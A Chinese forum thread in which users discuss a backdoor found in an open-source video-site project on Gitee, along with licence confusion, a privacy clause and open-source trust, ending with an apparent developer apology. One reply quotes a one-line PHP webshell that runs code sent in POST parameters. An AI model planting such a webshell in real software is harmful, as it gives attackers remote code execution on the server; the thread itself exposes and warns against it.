现如今的开源代码请谨慎使用

[dzdh]

有人问一个开源视频网站代码能不能给帮忙改改

看了一眼 知乎好家伙

https://gitee.com/positive-rain-cloud/zy-film-admin/blob/master/public/api.php

[holystrike]

够狠
不过生产环境是要禁用 eval()的

[AoEiuV020]

这就可以直说是后门了，假装成漏洞的后门，

[AoEiuV020]

好家伙，看错了，这是装都不装，特地上传的后门，

[gabon]

好家伙，看不懂 php ，哪位能解释下😂

[Trim21]

这种又放了个原版 Apache-2.0 的 license ，又在 readme 说不让商用的，到底是按 apache 还是说按 readme...

[InDom]

一句话木马。

<?php $_POST['a']()$_POST['b'];

[AoEiuV020]

不过好歹比闭源好些，公开挂在网上有坑可能像这样被别人发现，闭源的话自己没发现问题就只能被坑了，

而且这 eval 也太粗暴了吧，我代码下载来解压直接报毒，

[smallyu]

我觉得不是故意的

[djkloop]

多了，隐私协议也要注意，


https://page.xiaojukeji.com/m/ddPage_0CZOoRgq.html

[kaitok]

@gabon 我猜是 post 请求 /public/api 的 a 参数的代码直接执行

[djkloop]

1 、对于免费版用户的用户资料，我方享有独家的、全球通用的、永久的、免费的资料许可使用权利（并有权在多个层面对该权利进行再授权），我方有权存储、整理、分析、使用、复制、修订、改写、发布、翻译、分发、执行和展示“您的资料”或制作其派生作品，或以任何形式将“您的资料”纳入其他作品内。

其中这条就离谱

[AoEiuV020]

@smallyu 我第一眼也以为不是故意的，然而他整个项目都没有功能有调用这个 api.php ，只能认为是故意埋的，

[AoEiuV020]

@djkloop 这就懂了，没有后门的话这一条根本没法实现，

[skiy]

国外很多 npm 包经常被爆漏洞或者被黑，但人家是不经意的。但国内这些，不知道是“技术能力”的原因，还是故意为之。或者说对开源协议有什么自己独特的理解。

比如前段时间闹得沸沸扬扬的 DEDECMS 事件，有很多人推的这个“PbootCMS”
https://gitee.com/hnaoyun/PbootCMS/blob/3.X/core/basic/Kernel.php

其实也是用 `eval`。

我只是好奇这些标榜 `Apache 2` 协议的，然后指定说某个文件不可以修改和破解的。以我的理解：

“将这个文件解码出来后，然后再将建一个文件保存。不引用它的那个“授权”核心源码，而是引用这个文件。这个样子算所谓“破解”核心源码吗？。或者说，完全把那个文件删掉，再用新的文件来引入。这算是遵循 Apache2 的规范吗？”

[efaun]

gitee 上开源的东西我看都不看

[Osk]

一直如此, 大家都觉得开源的, 别人会帮我审核代码, 这不, 楼主这就帮我们审核了一次. /狗头保命 /

[Acoffice]

差点以为已经开始投毒了呢

[josexy]

我看得懂，而且我大受震撼😄

[djkloop]

@AoEiuV020 反正代码层面要注意，各方面都要注意，很多都是打着免费开源，在各地方给你留坑。像刚才滴滴那个开源的工具，就离谱。

[skiy]

@djkloop 其实那个条款是违法的。http://www.npc.gov.cn/npc/c30834/202108/a8c4e3672c74491a80b53a172bb753fe.shtml
第一章第十条：
“第十条　任何组织、个人不得非法收集、使用、加工、传输他人个人信息，不得非法买卖、提供或者公开他人个人信息；不得从事危害国家安全、公共利益的个人信息处理活动。”第十四、十五条……还有很多条款都很明确了。就怕他们对于“您的信息”的定义为“爱好”等无关信息了。

新版个人信息保护法很强，就看执行力度的问题了。要是遇到较真的用户，那绝对会一告一个准。可惜，在中国很多人都不喜欢跟法院和律师打交道。（在不涉及政治和制度等“官”层面，这方面法院应该会“公正”一些吧？）

[Kasumi20]

gitee 也叫开源, 圈地自萌吗

[nanjingwuyanzu]

@Kasumi20 真实奥

[fpure]

@Kasumi20 确实

[wonderfulcxm]

把 eval 这种危险函数禁用。🙈

[jiuhuicinv]

这不是一句话木马么

[ijrou]

这是对小白的警告，对开发人员他们也知道防范不了，还不如一开始就埋坑

[adai2]

666

[crab]

有可能是测试用的 webshell 方式图方便忘记删除，不然留后门没道理这么显眼，完全有隐藏和加密混淆的方式。

[CokeMine]

这肯定是故意的吧。。

[ericls]

源代码刚好开放的项目 不等于开源项目

[newsj]

厉害了

[whywaoxaks]

呆萌！

[jones2000]

代码都开源了， 自己可以用第 3 放的安防扫描软件扫描代码不就可以了， 不合理的地方自己可以改源码，跟作者有什么关系。开源没有规定不能写 eval()这个函数吧。

[haoliang]

标题打击面太广了，真就“语不惊人死不休”

[westoy]

@crab

有的

中古留后门法, 以前很多站长为了外链放的动网、动易的插件版都会留个重置 admin 的脚本......谁改 powered by 就上去砍他丫的.....php 时代才开始考虑构造上传不严谨+包含漏洞这种复用式的留后门办法.....

[cs419]

天眼查显示
https://www.tianyancha.com/company/5005887173
拉钩 boss 上在招前端呢

gitee 源码页面 右侧有个仓库举报的按钮

[LING97]

现如今。。。

[fewok]

不怕，我们不用 php

[xylophone21]

其实一直不理解,像这种'xx 系统'这种业务层面的开源,其抽象程度真的能满足真实业务场景需求吗? 如果要改, 不是比自己重写还难受?

[qq316107934]

@crab 测试用会故意伪装到 api 下吗？应该起个 test 之类的吧，放 tmp

[Lemeng]

目瞪口呆。。

[magic996]

xswl 他的测试站点把那个文件删了

[7gugu]

@Kasumi20 gitee 怎么就不是开源了？

[majula]

这个问题其实是无解的

但即使你审阅了每行代码并自己编译，你仍然无法保证编译器是可信的

即使你的编译器是自己写的，你仍然需要用其他（无法信任的）编译器来编译它

除非这个编译器是你从一段手写的机器码开始，滚雪球式地编译出来

这样仍然不安全，除非你的 BIOS 、操作系统内核和 Coreutils 等其他工具也是这么编译出来的

可是这样也不够安全，因为 CPU 是无法信任的，你不知道它是不是会乖乖地执行你告诉它的机器码

但是好在 x86/arm 指令集是开放的，虽然我们造不了 CPU ，但是可以用 FPGA 模拟。FPGA 的原理相对简单，也有开源的实现，从头造出一个可以信任的 FPGA 并不是特别难。

好了，现在你手里拿着用 FPGA 模拟的 CPU ，有一个可以在上面跑的手写的编译器，还有用这个编译器编译出来 GNU/Linux ，然后在上面跑开源代码。如果上述的代码你都逐行审阅过，而且保证没有疏漏，这样你就基本能够保证跑的开源代码没有风险了。

听起来是不是很不现实？没错，在当今的互联网世界，即使我们谁都不愿信任，最终还是要信任某个人。我们数据的隐私和安全，都是从一次次无可奈何的信任开始丢失的。

[flyingyasin]

@majula 犯了诡辩论的错误

[sudoy]

@majula 人家楼主说开源代码谨慎使用，并拿出一个例子来。你这倒好，直接用“世间万物皆不可信”谬论来恶心人

[zhlxsh]

仓库打不开了已经
仓库已经被屏蔽，暂时无法正常访问

屏蔽原因：恶意违规

你可以 点击这里 查看解决方案

[lfzyx]

这就是开源的意义啊，你这不是发现了漏洞吗

闭源的都不会给你发现的机会

[aptx4689]

@majula 滑坡谬误

[pheyer]

已经 403 了

[jerryjhou]

@skiy 请看新闻

[HiCode]

那个开发者删掉后门又重新把代码放出来了！

[Beize]

实在抱歉，我的疏忽导致的这个问题。
发布到 gitee 之后，有人留言说发布木马，我们立马查看问题，经查询发现之前买的盲盒系统有后门，导致放到我们公司开发的项目里没有发现。发布到 gitee 的时候 也没有仔细检查。确实是我的失误，挨打就要立正，是我的错误。